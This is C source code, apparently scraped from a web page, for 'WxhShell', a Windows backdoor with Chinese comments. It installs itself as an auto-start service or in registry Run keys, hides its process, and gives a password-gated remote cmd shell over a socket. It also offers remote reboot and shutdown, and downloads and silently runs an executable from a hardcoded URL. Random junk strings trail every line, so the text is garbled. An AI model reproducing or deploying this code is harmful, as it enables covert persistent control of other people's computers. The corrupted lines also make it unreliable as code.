    break; Bl.u=I:Y4  
    } eBB:~,C^q.  
  // 关机 :1fagaPg  
  case 'd': { I8m:3fL"  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^%bBW6eZ  
    if(Boot(SHUTDOWN)) PB'0?b}fab  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J07O:cjyu  
    else { mLL$|  
    closesocket(wsh); %5</ d5.  
    ExitThread(0); y%BX]~  
    } O;XG^s@5  
    break; w*LbH]l<-  
    } 7| YrdK<  
  // 获取shell /"AvOh*  
  case 's': { K!{5 [G  
    CmdShell(wsh); WnxEu3U  
    closesocket(wsh); '8Wv.X0`  
    ExitThread(0); _."E%|5  
    break; ,TC~~EWq  
  } y>o>WN<q  
  // 退出 "ORzWnE4U  
  case 'x': { QEJGnl676  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); E:A!wS`"  
    CloseIt(wsh); R"xp%:li  
    break; H3FW52pjX  
    } Z[#IfbYt  
  // 离开 ;_JH:}j  
  case 'q': { n[k1np$7?6  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?T*";_o,B  
    closesocket(wsh); XF,<i1ZlM  
    WSACleanup(); )q^ Bj$  
    exit(1); P;91~``b-  
    break; e1 a*'T$z  
        } 0Oxz3r%}r  
  } D&{ *AH%Q  
  } b](o]O{v  
D!FaEN  
  // 提示信息 ym%slg  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Df=q-iq<{/  
} TQ9'76INb  
  } 1 p\Ak  
qc8Ta"  
  return; Vu]h4S:  
} SE`l(-tL  
(O5)wej   
// shell模块句柄 E20&hc5 8  
int CmdShell(SOCKET sock) ia{kab|_5  
{ T!^Mvat  
STARTUPINFO si; :EHQ .^  
ZeroMemory(&si,sizeof(si)); Ti= 3y497S  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }=@zj6AC  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; uEd,rEB>  
PROCESS_INFORMATION ProcessInfo; jMU9{Si  
char cmdline[]="cmd"; D s-`  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); y4F^|kS) [  
  return 0; gg]~2f  
} aWvd`qA9r  
moO _-@i  
// 自身启动模式 'U)8rR  
int StartFromService(void) n(&*kfk  
{ f!g<3X{=  
typedef struct Yo2Trh  
{ )!-S|s'  
  DWORD ExitStatus; Pz473d  
  DWORD PebBaseAddress; {'~sS  
  DWORD AffinityMask; ,IjdO(?TC  
  DWORD BasePriority; %W;u}`  
  ULONG UniqueProcessId; c^S&F9/U*  
  ULONG InheritedFromUniqueProcessId; |9s wZ[  
}   PROCESS_BASIC_INFORMATION; &'O?es|Lb  
I'IB_YRL4  
PROCNTQSIP NtQueryInformationProcess; /yYlu  
:kp0EiJ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; f5?hnt`m  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8XbR  
2LhE]O(_"  
  HANDLE             hProcess; QkX@QQ T?  
  PROCESS_BASIC_INFORMATION pbi; h)o]TV  
u2lmwE  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *Q/E~4AW|t  
  if(NULL == hInst ) return 0; H1Xovr  
,OB&nN t>  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Nmf#`+7gCI  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <nA3Sd"QfV  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); AQ}l%  
bj.]o*u-  
  if (!NtQueryInformationProcess) return 0; \{>eOD_  
f[@#7,2~M  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); oNSz&)LP  
  if(!hProcess) return 0; 2u&c &G  
tc/jY]'32  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; dofR)"<p,^  
=eYO;l y3  
  CloseHandle(hProcess); l$`G:%qHj  
:yD@5)  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `Kp}s<  
if(hProcess==NULL) return 0; s5.k|!K  
Wf1-"Q  
HMODULE hMod; y''V"Be  
char procName[255]; <4NQL*|>  
unsigned long cbNeeded; R6Pz#`n  
}85#[~m'  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^'Zh;WjI7  
SRk7gfP*q  
  CloseHandle(hProcess); KgU[  
YPQCOG  
if(strstr(procName,"services")) return 1; // 以服务启动 ~%GSsm\J  
*]9XDc]{j1  
  return 0; // 注册表启动 WFdem/\kX  
} P rt#L8  
/O"0L/hc^  
// 主模块 gT7I9 (x!W  
int StartWxhshell(LPSTR lpCmdLine) }q x(z^  
{ :+A; TV  
  SOCKET wsl; 9jjL9f_3  
BOOL val=TRUE; nK:`e9ES  
  int port=0; g{&PrE'e9  
  struct sockaddr_in door; m2MPWy5s  
"b;k.Fx  
  if(wscfg.ws_autoins) Install(); Q2R>lzB  
2^ kn5  
port=atoi(lpCmdLine); s.e y!ew  
^ N_`^m  
if(port<=0) port=wscfg.ws_port; ZArf;&8  
 RA~_]Hk  
  WSADATA data; F~P/*FFK  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; c$.T<r)Z  
P#9-bYNU  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   JgZdS-~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); lc-*8eS  
  door.sin_family = AF_INET; +{bh  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); gU*I;s>  
  door.sin_port = htons(port); >hesxC!  
A'(k Yc  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { vev8l\  
closesocket(wsl); ,XP@ pi  
return 1; !j'guT&9]  
} n]Ebwznt-  
L/%xbm~  
  if(listen(wsl,2) == INVALID_SOCKET) { 3g+ \? L-c  
closesocket(wsl); n7'<3t  
return 1; oPE.gn_$  
} /iTH0@Kw;  
  Wxhshell(wsl); N}1-2  
  WSACleanup(); .y(@Y6hO  
n/:Z{  
return 0; :'TX"E!  
@~Rk^/0  
} EID(M.G  
-kt1t@O  
// 以NT服务方式启动 _2xuzmz0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @u7%B}q7:  
{ T)*l' g'  
DWORD   status = 0; uFa-QG^Y{  
  DWORD   specificError = 0xfffffff; |HT)/UZ|  
|c BHBd  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;vZ*,q6  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ug>]U ~0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; E ,Dlaq  
  serviceStatus.dwWin32ExitCode     = 0; )z|_*||WU^  
  serviceStatus.dwServiceSpecificExitCode = 0; R7y-#?  
  serviceStatus.dwCheckPoint       = 0; .|tQ=l@I  
  serviceStatus.dwWaitHint       = 0; iNMLYYq]l  
*GB$sXF  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8~rT  
  if (hServiceStatusHandle==0) return; .jy)>"h0  
P/HHWiD`D  
status = GetLastError(); ],WwqD=  
  if (status!=NO_ERROR) SlM>";C\  
{ :1%VZvWk*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; NF@i#:  
    serviceStatus.dwCheckPoint       = 0; agGgJ@  
    serviceStatus.dwWaitHint       = 0; A Z]Z,s6  
    serviceStatus.dwWin32ExitCode     = status; C5d/)aC  
    serviceStatus.dwServiceSpecificExitCode = specificError; 4t"*)xy  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); !$4Q]@ }  
    return; t/_\U =i$  
  } :^C#-O  
DB!uv[c  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; \Gv-sA  
  serviceStatus.dwCheckPoint       = 0; s"gKonwI2  
  serviceStatus.dwWaitHint       = 0; 15RI(BN   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); K4BTk !  
} iFXUKGiV  
4d,qXSKty  
// 处理NT服务事件,比如:启动、停止 &4a~6  
VOID WINAPI NTServiceHandler(DWORD fdwControl) r< N-A?a  
{ s2kGU^]y  
switch(fdwControl) #p;4:IT  
{ V/+H_=|  
case SERVICE_CONTROL_STOP: Tm'lN5}&9  
  serviceStatus.dwWin32ExitCode = 0; @D( KuF  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; \r)_-  
  serviceStatus.dwCheckPoint   = 0; * <Nk%`  
  serviceStatus.dwWaitHint     = 0; ajg7xF{l)  
  { EVby 9!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); XL%vO#YT  
  } sf=%l10Fk#  
  return; .CB"@.7  
case SERVICE_CONTROL_PAUSE: f[w jur  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; G=+!d&mbg  
  break; R|d^M&K,  
case SERVICE_CONTROL_CONTINUE: i|:: v l  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Vw6>:l<+<  
  break; j=zU7wz)D  
case SERVICE_CONTROL_INTERROGATE: / i\uwa,  
  break; 0$Qn#K  
}; g0[<9.ke  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pb$ An<P  
} lUy*549,  
IX > j8z[  
// 标准应用程序主函数 w0F:%:/  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) m7bn%j-{$f  
{ |^>L`6uo  
^$ g],PAY  
// 获取操作系统版本 W,L>'$#pM  
OsIsNt=GetOsVer(); U/ v"?pg[  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Lk$Je O  
?et0W|^k  
  // 从命令行安装 OdtbVF~  
  if(strpbrk(lpCmdLine,"iI")) Install(); Vf#oKPP1  
!]UU;8h~  
  // 下载执行文件 NG4eEnic!a  
if(wscfg.ws_downexe) { rZwf%}  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {g23[$X]N  
  WinExec(wscfg.ws_filenam,SW_HIDE); y"%iD`{  
} QmDhZ04f  
FN8=YUYK%  
if(!OsIsNt) { PAO[Og,-  
// 如果时win9x,隐藏进程并且设置为注册表启动 !nqm ;96  
HideProc(); C_g"omw40  
StartWxhshell(lpCmdLine); rA>A=,  
} fS'k;r*r  
else +A.a~Stt  
  if(StartFromService()) @8x6#|D  
  // 以服务方式启动 3e!a>Gl*  
  StartServiceCtrlDispatcher(DispatchTable); 6kmZ!9w0|  
else JXD?a.vy^q  
  // 普通方式启动 $TH'"XK  
  StartWxhshell(lpCmdLine); ,AFC1t[0  
~ L i%  
return 0; qJAv=D  
} 4N0W& Dy  
;^*+:e  
vb80J<4  
b*F :l#  
=========================================== AU${0#WV_  
MSrY*)n!>O  
G Yy!`E  
e P,XH{s  
GXAk*vS=G  
1zEZ\G  
" ,EGD8$RA]  
d >wmg*J  
#include <stdio.h> xSMp[j  
#include <string.h> 5;i!PuL  
#include <windows.h> k(vEp ]  
#include <winsock2.h> o )}<   
#include <winsvc.h> ytcG6WN3  
#include <urlmon.h> Ty,)mx){)  
W> -E.#!_  
#pragma comment (lib, "Ws2_32.lib") 7.Kjg_N#Tr  
#pragma comment (lib, "urlmon.lib") e*'|iuDrY  
4jyr\=42F'  
#define MAX_USER   100 // 最大客户端连接数 wshp{ y  
#define BUF_SOCK   200 // sock buffer qyG636i  
#define KEY_BUFF   255 // 输入 buffer e8ig[:B>+  
cM7k){  
#define REBOOT     0   // 重启 1RUbY>K#U  
#define SHUTDOWN   1   // 关机 >stVsFdV)  
6XxG1]84  
#define DEF_PORT   5000 // 监听端口 h1UlLy 8  
KE)D =P  
#define REG_LEN     16   // 注册表键长度 3I{ta/(  
#define SVC_LEN     80   // NT服务名长度 1\.zOq#  
P.H/H04+  
// 从dll定义API TF iM[  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *~lgU4  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); )DZ-vnZ#t0  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ?3E_KGI  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); tX`[6`  
~m;MM)_V  
// wxhshell配置信息 nluyEK  
struct WSCFG { 4\eX=~C>:  
  int ws_port;         // 监听端口 BC0c c[x  
  char ws_passstr[REG_LEN]; // 口令 O]r3?=  
  int ws_autoins;       // 安装标记, 1=yes 0=no la"A$Tbu~  
  char ws_regname[REG_LEN]; // 注册表键名 G*w W&R)  
  char ws_svcname[REG_LEN]; // 服务名 re 1k]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $rQFM[  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 QGCdeE$K  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 r)@&2b"q  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ("M#R!3  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" |% YzGgp7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 BQJ`vIa  
D` `NQ`>A  
}; *e"GQd?  
_2Xu1q.6~5  
// default Wxhshell configuration _=^hnv  
struct WSCFG wscfg={DEF_PORT, m-KK {{  
    "xuhuanlingzhe", elHarey`f  
    1, He_(JXTP  
    "Wxhshell", ';CuJ XAj  
    "Wxhshell", [+cnx21{  
            "WxhShell Service", 'LLQ[JJ=O  
    "Wrsky Windows CmdShell Service", a]=vq(N'r  
    "Please Input Your Password: ", ?`*-QG}  
  1, s2v#evI`+  
  "http://www.wrsky.com/wxhshell.exe", sq (063l  
  "Wxhshell.exe" en#g<on  
    }; 8JOht(m  
Y1ilH-8  
// 消息定义模块 ~m09yc d<  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; V1b_z  
char *msg_ws_prompt="\n\r? for help\n\r#>"; O> ^~SO  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; D>#v 6XI  
char *msg_ws_ext="\n\rExit."; f;XsShxr  
char *msg_ws_end="\n\rQuit."; \t(r@q q  
char *msg_ws_boot="\n\rReboot..."; _x|8U'|Ce  
char *msg_ws_poff="\n\rShutdown..."; ?;#3U5$v  
char *msg_ws_down="\n\rSave to "; _(kwD^x6O{  
[ *a>{sO[  
char *msg_ws_err="\n\rErr!"; 96E7hp !:  
char *msg_ws_ok="\n\rOK!"; >@89k^#Vc  
8\V>6^3CD$  
char ExeFile[MAX_PATH]; e]B<\i\T  
int nUser = 0; 'e)ze^Jq  
HANDLE handles[MAX_USER]; _wJ#jJz2  
int OsIsNt; |ij5c@~&  
Oi&w_ Z0  
SERVICE_STATUS       serviceStatus; |3lAye,t)a  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; <UHWy&+z&  
|b@A:8ss  
// 函数声明 B+$Q"  
int Install(void); >sS:x,-  
int Uninstall(void); l \n:"*To  
int DownloadFile(char *sURL, SOCKET wsh); MdboWE5i  
int Boot(int flag); :-@P3F[0  
void HideProc(void); d*:qFq_  
int GetOsVer(void); Ol h%"=*;  
int Wxhshell(SOCKET wsl); AdS_-Cm  
void TalkWithClient(void *cs); sU_4+Mk  
int CmdShell(SOCKET sock); ]fS~N9B  
int StartFromService(void); )"3oe ?  
int StartWxhshell(LPSTR lpCmdLine); ,) jB<`  
x4A~MuGU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `lh?Z3W  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); K]*ERAfM%m  
!J(,M)p!  
// 数据结构和表定义 ITqigGan%  
SERVICE_TABLE_ENTRY DispatchTable[] = bme#G{[)Y  
{ <21^{ yt1  
{wscfg.ws_svcname, NTServiceMain}, `*9FKs  
{NULL, NULL} \R6T" U  
}; R M+K":p  
0Lz56e'j  
// 自我安装 AS"|r  
int Install(void) tYNt>9L|  
{ Wq&c,H  
  char svExeFile[MAX_PATH]; !4.^@^L|\  
  HKEY key; "8dnFrE  
  strcpy(svExeFile,ExeFile); (s*Uz3 sq  
]BD5+>;  
// 如果是win9x系统,修改注册表设为自启动 ~{$'sp0  
if(!OsIsNt) { ZUI9[A?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4xn^`xf9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a} 7KpKCD  
  RegCloseKey(key); #UeU:RJ1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A8/4:>Is  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yf^gU*  
  RegCloseKey(key); +~.Jw#HqS  
  return 0; Tka="eyIj3  
    } mBkQ 8e  
  } ]_xGVwem  
} 0]0M>vx u  
else { `ViNSr):J  
.Tqvy)'  
// 如果是NT以上系统,安装为系统服务 wTbIS~!gF  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); VOOThdR  
if (schSCManager!=0) yVv3S[J  
{ !)3Su=*R  
  SC_HANDLE schService = CreateService ):EXh#  
  ( E004"E<E  
  schSCManager, $^ dk>Hj>4  
  wscfg.ws_svcname, / hdl  
  wscfg.ws_svcdisp, U .h PC3  
  SERVICE_ALL_ACCESS, J0bs$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Yaepy3F  
  SERVICE_AUTO_START, ~'\u:Imuo  
  SERVICE_ERROR_NORMAL, gy`qEY~B&  
  svExeFile, R}<s~` Pl  
  NULL, JY8pV+q @=  
  NULL, ]h$TgX  
  NULL, j=QjvWD  
  NULL, &c ~)z\$  
  NULL X^^D[U  
  ); /UyE- "S  
  if (schService!=0) SP1oBR"3  
  { N |L5Ru  
  CloseServiceHandle(schService); ,IATJs$E  
  CloseServiceHandle(schSCManager); T`[ZNq+${  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); )`7h,w J[1  
  strcat(svExeFile,wscfg.ws_svcname); 5R G5uH/-<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^TK)_wx  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :e vc  
  RegCloseKey(key); (2)9TpE;  
  return 0; ee` =B  
    } t4f\0`jN  
  } *j:5  
  CloseServiceHandle(schSCManager); aV, J_Q6r  
} .;6bMP[YA  
}  Vp4]  
swbD q  
return 1; YHAg4 eb8  
} $ayD55W4  
D8XXm lo  
// 自我卸载 a,9GSKXo1  
int Uninstall(void) e 3oIoj4o  
{ VH65=9z  
  HKEY key; KphEw[4/  
El} z^e  
if(!OsIsNt) { _%!hkc(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /omVM u  
  RegDeleteValue(key,wscfg.ws_regname); LK~ 0ck7  
  RegCloseKey(key); .?:~s8kB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }1 ^.A84a  
  RegDeleteValue(key,wscfg.ws_regname); ~;Kl/Z  
  RegCloseKey(key); ^Tmmx_Xw  
  return 0; 6 nhB1Aei  
  } 8;rS"!qM  
} 3W0:0I  
} FM];+d0  
else { tgnXBWA`!  
9Ua@-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /% 1lJD  
if (schSCManager!=0) mJT m/C  
{ OSU=O  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Q)&Ztw<  
  if (schService!=0) mj~CCokF{?  
  { Y [S^&pF  
  if(DeleteService(schService)!=0) { *%sYajmD  
  CloseServiceHandle(schService); sBL^NDqa2  
  CloseServiceHandle(schSCManager); ,_O[; L  
  return 0; +[+ Jd)Z  
  } u1<kdTxA N  
  CloseServiceHandle(schService); [%:NR  
  } Pp!W$C:  
  CloseServiceHandle(schSCManager); a}\JA`5;)Z  
} p {3|W<  
} N%y FL  
KQ3 On(d  
return 1; wS4wED&a  
} \3/'#  
;'}xD5]  
// 从指定url下载文件 B;Vl+}R  
int DownloadFile(char *sURL, SOCKET wsh) )=@ XF0  
{ R)z|("%ec  
  HRESULT hr; s#3{c@^3  
char seps[]= "/"; :8g \B{  
char *token; A:Z:&(NtE:  
char *file; K.~U%v}  
char myURL[MAX_PATH]; 5N/;'ySAE_  
char myFILE[MAX_PATH]; ) |a5Qxz  
+0DIN4Y(4  
strcpy(myURL,sURL); ~Ji A  
  token=strtok(myURL,seps); Fy^\Uw  
  while(token!=NULL) uv!/DX#  
  { xm5D$m3#  
    file=token; \=~Ap#Mpc4  
  token=strtok(NULL,seps); )9O{4PbU!  
  } ~ 5b %~:  
107SXYdhI  
GetCurrentDirectory(MAX_PATH,myFILE); EzaOg|  
strcat(myFILE, "\\"); uPPe"$  
strcat(myFILE, file); ~MX@-Ff  
  send(wsh,myFILE,strlen(myFILE),0); ^y,ip=<5\3  
send(wsh,"...",3,0); 3ssio-X  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); p"Y=  
  if(hr==S_OK) T}*'9TB  
return 0; hV)I C9  
else MRc^lYj{  
return 1; *RO ~%g  
[A47OR  
} sh 1fz 6g  
Pcc%VQN  
// 系统电源模块 &~8}y+z  
int Boot(int flag) qsp,Usu/  
{ g@L4G?hLn  
  HANDLE hToken; (Lp-3Xx  
  TOKEN_PRIVILEGES tkp; t/CNxfY  
Gex^\gf  
  if(OsIsNt) { %oo&M;  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {T9g\F*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); kMA>)\  
    tkp.PrivilegeCount = 1; U Lq%,ca  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; RfD$@q9  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Y~6pJNR  
if(flag==REBOOT) { JcP'+@X"  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) FYJB.lAT  
  return 0; g=.5*'Xlp  
} 6yU~^))bx  
else { Jc+U$h4  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3^\y>  
  return 0; Y'P8`$  
} {BF\G%v;+  
  } S.z;Bm  
  else {  7)T+!>  
if(flag==REBOOT) { b#M<b.R)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) m`|Z1CT  
  return 0; Am0$UeSZ  
} Z7v~;JzC#  
else { 5^k#fl2  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9fiZ5\  
  return 0; DEBgb  
} VXa]L4jJ9  
} 1#V0g Q  
B.|vmq,u  
return 1; \?o%<c5{  
} gDv]n^&  
;WhB2/5v  
// win9x进程隐藏模块 d7&PbITN  
void HideProc(void) 4Y]`> ;w  
{ =P!Vi6[gF~  
-} (W=r\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &Fi8@0Fh  
  if ( hKernel != NULL ) Um~jp:6p  
  { }MX`WW0\]Z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 5^xt/vYa)  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5FMKJ7sC9  
    FreeLibrary(hKernel); 8|l Yf%n>j  
  } 3B0%:Jj  
g^idS:GtX5  
return;  LCG<  
} _YY)-H  
p#&6Ed*V  
// 获取操作系统版本 'D4NPG`z  
int GetOsVer(void) ^~0 r+w61  
{ .cb mCFXL  
  OSVERSIONINFO winfo; G`n-WP  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); zt8ZJlNK  
  GetVersionEx(&winfo); C" sa.#}  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Z_;' r|c  
  return 1; [Yv5Sw  
  else U+ 8[Ia(t  
  return 0; z7CYYU?  
} #wo_  
4eKJ\Q=nX5  
// 客户端句柄模块 M]W4S4&Y=  
int Wxhshell(SOCKET wsl) YcI]_[  
{ 5Ql6?U HD  
  SOCKET wsh; ]Cj&C/(  
  struct sockaddr_in client; A-~)7-  
  DWORD myID; gp}S 1  
k4@GjO1"$  
  while(nUser<MAX_USER) #\jPBLc  
{ H0Tt(:.&  
  int nSize=sizeof(client); vD(;VeW[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); lyV]-w  
  if(wsh==INVALID_SOCKET) return 1; dug RO[  
PyoLk  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~$@I <=L  
if(handles[nUser]==0) e'ZgF~  
  closesocket(wsh); Wj3H  y4  
else A;g[G>J  
  nUser++; 6QV/8IX  
  } B<)(7GTv7"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8dpVB#]pp,  
(T^aZuuS  
  return 0; vL><Y.kOEs  
} emHi= [!i  
WlY%f}l n  
// 关闭 socket njIvVs`q  
void CloseIt(SOCKET wsh) lRrOoON  
{ V6!oe^a7'  
closesocket(wsh); FUH1Z+9  
nUser--; ^b%AwzHH}  
ExitThread(0); 1/gh\9h  
} C /E3NL8  
H1w;Wb1se  
// 客户端请求句柄 +V) (,f1  
void TalkWithClient(void *cs) 4b#YpK$7U  
{ }A#FGH +  
Y8d%L;b[D  
  SOCKET wsh=(SOCKET)cs; YONg1.^!(  
  char pwd[SVC_LEN]; JmBYD[h,  
  char cmd[KEY_BUFF]; kN_LD-  
char chr[1]; h$k(|/+  
int i,j; "}!vYr  
|h'ugx1iY  
  while (nUser < MAX_USER) { 6`yq4!&v  
PvM<#zq_  
if(wscfg.ws_passstr) { @<Y Za$`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d ] [E;$  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); IL~yJx_11  
  //ZeroMemory(pwd,KEY_BUFF); (d (whlF  
      i=0; M,9WF)p)V  
  while(i<SVC_LEN) { 0t9G $23  
`*slQ }i  
  // 设置超时 t;*'p  
  fd_set FdRead; `R^)< v*  
  struct timeval TimeOut; T}zi P  
  FD_ZERO(&FdRead); T.xW|Iwx  
  FD_SET(wsh,&FdRead); CzK X}  
  TimeOut.tv_sec=8; rF5<x3  
  TimeOut.tv_usec=0; \&cVcA g  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1 4|S^UM$  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ZHZ>YSqCS  
A(C3kISM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |.,y M|  
  pwd=chr[0]; %=| I;kI?  
  if(chr[0]==0xd || chr[0]==0xa) { <l\FHJhjq  
  pwd=0; K<t(HK#[  
  break; > {:8c-\2}  
  } YRwS{ e*u  
  i++; :s4CWE d  
    } A*$vk2VWw  
wM|-u/9+  
  // 如果是非法用户,关闭 socket ?GFVV->i  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -wO`o<  
} # ><.zZ  
Ao,lEjNI  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); fpzTv3D=I  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L'c4 i[~s  
& z?y  
while(1) { { u;ntDr  
3(CUC  
  ZeroMemory(cmd,KEY_BUFF); X4o8  
<uAqb Wu  
      // 自动支持客户端 telnet标准   T"2ye9a  
  j=0; 'r-a:8:t^  
  while(j<KEY_BUFF) { kAAz|dhL-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "\B Li C  
  cmd[j]=chr[0]; -j(/5.a  
  if(chr[0]==0xa || chr[0]==0xd) { aWit^dp  
  cmd[j]=0; \=QG6&_  
  break; SY)o<MD  
  } ;mMn-+3<  
  j++; ";GLX%C!{@  
    } 9eV@v  
=7jkW (Q  
  // 下载文件 oc15!M3$  
  if(strstr(cmd,"http://")) { D3jP hPy.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); UH)A n:9  
  if(DownloadFile(cmd,wsh)) f[X>?{q  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); EswM#D 9(4  
  else [6c{t  
